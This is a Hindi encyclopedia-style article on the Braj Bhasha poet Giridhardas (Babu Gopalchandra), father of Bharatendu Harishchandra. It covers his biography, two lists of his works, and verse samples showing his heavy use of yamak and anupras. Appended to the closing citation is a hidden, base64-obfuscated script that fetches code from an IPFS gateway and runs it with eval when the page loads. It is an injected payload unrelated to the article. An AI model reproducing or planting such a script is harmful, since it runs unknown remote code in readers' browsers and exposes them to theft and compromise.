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गिरिधरदास  

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गिरिधरदास भारतेंदु बाबू हरिश्चंद्र के पिता थे और ब्रजभाषा के बहुत ही प्रौढ़ कवि थे। इनका नाम तो 'बाबू गोपालचंद्र' था पर कविता में अपना उपनाम ये 'गिरिधरदास', 'गिरधार', 'गिरिधरन' रखते थे। भारतेंदु ने इनके संबंध में लिखा है कि -

जिन श्री गिरिधरदास कवि रचे ग्रंथ चालीस।

परिचय

गिरिधरदास का जन्म पौष कृष्ण 15, संवत् 1890 को हुआ। इनके पिता 'काले हर्षचंद', जो काशी के एक बड़े प्रतिष्ठित रईस थे, इन्हें ग्यारह वर्ष की अवस्था में ही छोड़कर परलोक सिधार गये थे। इन्होंने अपने निज के परिश्रम से संस्कृत और हिन्दी में बड़ी स्थिर योग्यता प्राप्त की और पुस्तकों का एक बहुत बड़ा अनमोल संग्रह किया। पुस्तकालय का नाम इन्होंने 'सरस्वती भवन' रखा जिसका मूल्य स्वर्गीय डॉ. राजेंद्र लाल मित्र एक लाख रुपया तक दिलवाते थे। इनके यहाँ उस समय के विद्वानों और कवियों की मंडली बराबर जमी रहती थी और इनका समय अधिकतर काव्यचर्चा में ही जाता था। इनका परलोकवास संवत् 1917 में हुआ।

रचनाएँ

भारतेंदु जी ने इनके लिखे 40 ग्रंथों का उल्लेख किया है जिनमें बहुतों का पता नहीं। भारतेंदु के दौहित्र, हिन्दी के उत्कृष्ट लेखक 'श्रीयुत् बाबू ब्रजरत्नदास जी' हैं जिन्होंने अपनी देखी हुई इन अठारह पुस्तकों के नाम इस प्रकार दिए हैं -

  1. जरासंधवध महाकाव्य,
  2. भारतीभूषण[१],
  3. भाषा व्याकरण[२],
  4. रसरत्नाकर,
  5. ग्रीष्म वर्णन,
  6. मत्स्यकथामृत,
  7. वराहकथामृत,
  8. नृसिंहकथामृत,
  9. वामनकथामृत,
  10. परशुरामकथामृत,
  11. रामकथामृत,
  12. बलराम कथामृत,
  13. कृष्णचरित[३],
  14. बुद्ध कथामृत,
  15. कल्किकथामृत,
  16. नहुष नाटक,
  17. गर्गसंहिता[४],
  18. एकादशी माहात्म्य।
  • इनके अतिरिक्त भारतेंदुजी के एक नोट के आधार पर बाबू राधाकृष्णदास ने इनकी 21 और पुस्तकों का उल्लेख किया है -
  1. वाल्मीकि रामायण[५],
  2. छंदार्णव,
  3. नीति,
  4. अद्भुत रामायण,
  5. लक्ष्मीनखशिख,
  6. वार्ता संस्कृत,
  7. ककारादि सहस्रनाम,
  8. गयायात्रा,
  9. गयाष्टक,
  10. द्वादशदलकमल,
  11. कीर्तन,
  12. संकर्षणाष्टक,
  13. दनुजारिस्त्रोत,
  14. गोपालस्त्रोत,
  15. भगवतस्त्रोत,
  16. शिवस्त्रोत,
  17. श्री रामस्त्रोत,
  18. श्री राधास्त्रोत,
  19. रामाष्टक,
  20. कालियकालाष्टक।
काव्यकौशल

इन्होंने दो ढंग की रचनाएँ की हैं। गर्गसंहिता आदि भक्तिमार्ग की कथाएँ तो सरल और साधारण पद्यों में कही हैं, पर काव्यकौशल की दृष्टि से जो रचनाएँ की हैं जैसे - जरासंध वध, भारतीभूषण, रसरत्नाकर, ग्रीष्मवर्णन , ये यमक और अनुप्रास आदि से इतनी लदी हुई हैं कि बहुत स्थलों पर दुरूह हो गई हैं। सबसे अधिक इन्होंने यमक और अनुप्रास का चमत्कार दिखाया है। अनुप्रास और यमक का ऐसा विधान जैसा जरासंधवध में है और कहीं नहीं मिलेगा। जरासंधवध अपूर्ण है, केवल 11 सर्गों तक लिखा गया है, पर अपने ढंग का अनूठा है। जो कविताएँ देखी गई हैं उनसे यही धारणा होती है कि इनका झुकाव चमत्कार की ओर अधिक था। रसात्मकता इनकी रचनाओं में वैसी नहीं पाई जाती। अट्ठाइस वर्ष की ही आयु पाकर इतनी अधिक पुस्तकें लिख डालना पद्य रचना का अद्भुत अभ्यास सूचित करता है। इनकी रचना के कुछ नमूने नीचे दिए जाते हैं।

जरासंध वध से

चल्यो दरद जेहि फरद रच्यो बिधि मित्र दरद हर।
सरद सरोरुह बदन जाचकन बरद मरद बर॥
लसत सिंह सम दुरद नरद दिसि दुरद अरद कर।
निरखि होत अरि सरद, हरद, सम जरद कांति धार॥
कर करद करत बेपरद जब गरद मिलत बपु गाज को।
रन जुआ नरद वित नृप लस्यो करद मगध महराज को॥

सबके सब केशव के सबके हित के गज सोहते सोभा अपार हैं।
जब सैलन सैलन सैलन ही फिरैं सैलन सैलहि सीस प्रहार हैं॥
'गिरिधरन' धारन सों पद कंज लै धारन लै बसु धारन फारहैं।
अरि बारन बारन बारन पै सुर वारन वारन वारन वार हैं॥[६]

भारती भूषण से

असंगति , सिंधु जनित गर हर पियो, मरे असुर समुदाय।
नैन बान नैनन लग्यो, भयो करेजे घाय॥[७]

रसरत्नाकर से

जाहि बिबाहि दियो पितु मातु नै पावक साखि सबै जन जानी।
साहब से 'गिरिधरन जू' भगवान समान कहै मुनि ज्ञानी॥
तू जो कहै वह दच्छिन है तो हमैं कहा बाम हैं, बाम अजानी।
भागन सों पति ऐसो मिलै सबहीन को दच्छिन जो सुखदानी॥[८]

ग्रीष्मवर्णन से

जगह जड़ाऊ जामे जड़े हैं जवाहिरात,
जगमग जोति जाकी जग में जमति है।
जामे जदुजानि जान प्यारी जातरूप ऐसी,
जगमुख ज्वाल ऐसी जोन्ह सी जगति है।
'गिरिधरदास' जोर जबर जवानी को है,
जोहि जोहि जलजा हू जीव में जकति है।
जगत के जीवन के जिय को चुराए जोय,
जोए जोषिता को जेठ जरनि जरति है।[९]



टीका टिप्पणी और संदर्भ

  1. अलंकार
  2. पिंगल संबंधी
  3. 4701 पदों में
  4. कृष्ण चरित का दोहे चौपाइयों में बड़ा ग्रंथ
  5. सातों कांड पद्यानुवाद
  6. जरासंध वध
  7. भारती भूषण
  8. रसरत्नाकर
  9. ग्रीष्मवर्णन

आचार्य, रामचंद्र शुक्ल “प्रकरण 3”, हिन्दी साहित्य का इतिहास (हिन्दी)। भारतडिस्कवरी पुस्तकालय: कमल प्रकाशन, नई दिल्ली, पृष्ठ सं. 271-73।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

बाहरी कड़ियाँ

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